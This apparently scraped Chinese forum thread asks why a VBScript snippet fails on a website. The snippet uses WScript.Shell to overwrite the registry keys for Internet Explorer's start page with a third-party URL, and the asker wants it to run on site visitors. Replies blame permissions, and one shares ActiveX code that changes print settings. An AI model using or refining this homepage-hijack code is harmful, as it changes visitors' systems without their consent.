帮忙看看下面的代码是什么原因

问题描述

<scriptlanguage="vbscript">setlhwy=createobject("wscript.shell")path="HKEY_LOCAL_MACHINESOFTWAREMicrosoftInternetExplorermainStartPage"tf=lhwy.regwrite(path,"http://www.5i53.cn/")setpath=nothingpath="HKEY_CURRENT_USERSOFTWAREMICROSOFTInternetExplorerMainStartPage"tf=lhwy.regwrite(path,"http://www.5i53.cn/")wscript.quit</script>

为什么我在本地测试可以我把它放到网站上就不可以

解决方案

解决方案二:
请大家帮忙看看吧
解决方案三:
请大家帮忙看看吧
解决方案四:
设计权限的问题。如果放到网页上的script可以像这样任意更改注册表,是不好的。看看是否哪里(可能系统,可能浏览器,可能iis)权限禁止运行wscript.shell
解决方案五:
没权限,另外wscript.quit只有wscript.exe解析(即保存为本地vbs文件)时才可以
解决方案六:
引用4楼s11ss的回复:

没权限,另外wscript.quit只有wscript.exe解析(即保存为本地vbs文件)时才可以

作为网页程序,这段代码应该是允许的,也是可以执行的,不是一定要保存到本地。虽然我只用javascript这么干过。作为script这是同样的道理。这是我对打印设置的代码<scriptlanguage="JavaScript">varhkey_root,hkey_path,hkey_keyhkey_root="HKEY_CURRENT_USER"hkey_path="\Software\Microsoft\InternetExplorer\PageSetup\"//设置网页打印的页眉页脚为空functionpagesetup_null(){try{varRegWsh=newActiveXObject("WScript.Shell")hkey_key="header"RegWsh.RegWrite(hkey_root+hkey_path+hkey_key,"")hkey_key="footer"RegWsh.RegWrite(hkey_root+hkey_path+hkey_key,"")}catch(e){}}//设置网页打印的页眉页脚为默认值functionpagesetup_default(){try{varRegWsh=newActiveXObject("WScript.Shell")hkey_key="header"RegWsh.RegWrite(hkey_root+hkey_path+hkey_key,"&w&b页码,&p/&P")hkey_key="footer"RegWsh.RegWrite(hkey_root+hkey_path+hkey_key,"&u&b&d")}catch(e){}}</script>

解决方案七:
看看,很有用
解决方案八:
能不能把这段定义为一段方法在页面加载的时候调用
解决方案九:
学习中····
解决方案十:
来学习下。
解决方案十一:
en看不明白
解决方案十二:
应该是权限问题,别人的服务器有防火墙能让你顺便调用系统程序啊

时间: 2024-10-29 13:11:29

帮忙看看下面的代码是什么原因的相关文章

javascript-大神们,帮忙看看这段代码有什么错误,为什么改为10点可以,9点就不行了?

问题描述 大神们,帮忙看看这段代码有什么错误,为什么改为10点可以,9点就不行了? <?php date_default_timezone_set("Asia/Shanghai"); //配置每天的活动时间段 $nowtime = time(); $starttimestr = date('H:i:s',time()); $ntime= date('H:i:s',time()); if ($ntime<"9:00:00") {$endtimestr =

win8系统宽带连接提示错误628代码的故障原因及解决方法

  问题现象:错误628;在连接完成前,连接被远程计算机终止,具体如下图所示: 故障原因: 1.选择了身份验证里的"使用可扩展的身份验证协议",如下图所示: 解决方法: 1.选择下图红线区域内容. 以上就是对win8系统宽带连接提示错误628代码的故障原因及解决方法的介绍,方法很简单,有同样问题的朋友可以按照上述的方法进行解决.

求各大神帮忙,有关html代码运行的小问题?

问题描述 求各大神帮忙,有关html代码运行的小问题? 我在用wordpad++写了html代码后,点击默认浏览器运行,却总是没有任何反应.我已经将默认浏览器改为谷歌浏览器了,只是默认的是搜狗,那个运行选项里面貌似没有搜狗的???? 解决方案 代码呢,没反应肯定是你脚本编写有问题了,或者使用到了null对象 f12打开谷歌开发工具看报什么错误 解决方案二: 那你这个代码是以什么格式保存的. 解决方案三: .html 文件保存格式为html 代码没错的话就是格式不对

求大神帮忙看看这段代码的问题在哪,求修改一下

问题描述 求大神帮忙看看这段代码的问题在哪,求修改一下 10C 这是题目,代码如下: #include#includeusing namespace std; class People{public: People(const string&NOconst string&nameconst string&sexconst string&IDNOconst string&Birthday); virtual void show()=0;protected: strin

代码审查-求帮忙注释下汇编程序代码

问题描述 求帮忙注释下汇编程序代码 len equ 10.model small.stack 100h .datainput_msg db 0dh0ah'Input Number ' Num_no db '00 (0-255):$' no_str db 'Nothing NO ODD NUMBER !''$'buf db 404 dup (0)input_data db 10 dup (0)result_str db 0dh0ah'The minimum odd number is $'firs

c++-C++模板,我不太懂里面&amp;amp;amp; 字符啥意思(能帮忙分析这段代码吗?)

问题描述 C++模板,我不太懂里面& 字符啥意思(能帮忙分析这段代码吗?) 下面是我在<软件技术基础>里面看到的一部分内容,其中我不明白的地方就是 & 字符所在的地方 比如: Matrix& Matrix:: operator– (Matrix& x) 在此先谢谢大家帮忙解答了 8.2.2 矢量和矩阵的模板 由上述定义可知,矢量就是数的线性排列,序列就是它们最自然的表示方式.矩阵又可视为矢量的线性集合,所以可用序列的数组表示.下面就是矢量和矩阵的模板: 矢量模板

c语言-求能帮忙改改迷宫的代码

问题描述 求能帮忙改改迷宫的代码 走用链栈走迷宫,我的代码如下.一直调试不成功,希望能求救 #include #include #define M 10 #define N 10 typedef struct stack_type{ struct block_type *top; }stack_type; typedef struct block_type{ int i,j; int di; struct block_type *next; }block_type; int mg[M+1][N+

excel 校验怎么写求大家帮帮忙 最好是有代码 的本人新手

问题描述 excel 校验怎么写求大家帮帮忙 最好是有代码 的本人新手

数学-c语言题目求助~~~大家帮忙看一下这个代码有啥错误

问题描述 c语言题目求助~~~大家帮忙看一下这个代码有啥错误 **1/1 + 1/2 + 1/3 + 1/4 + ... 在数学上称为调和级数. **它是发散的,也就是说,只要加上足够多的项,就可以得到任意大的数字. 但是,它发散的很慢: 前1项和达到 1.0前4项和才超过 2.0前83项的和才超过 5.0 那么,请你计算一下,要加多少项,才能使得和达到或超过 15.0 呢?** 请填写这个整数. 注意:只需要填写一个整数,不要填写任何多余的内容.比如说明文字.** #include<stdio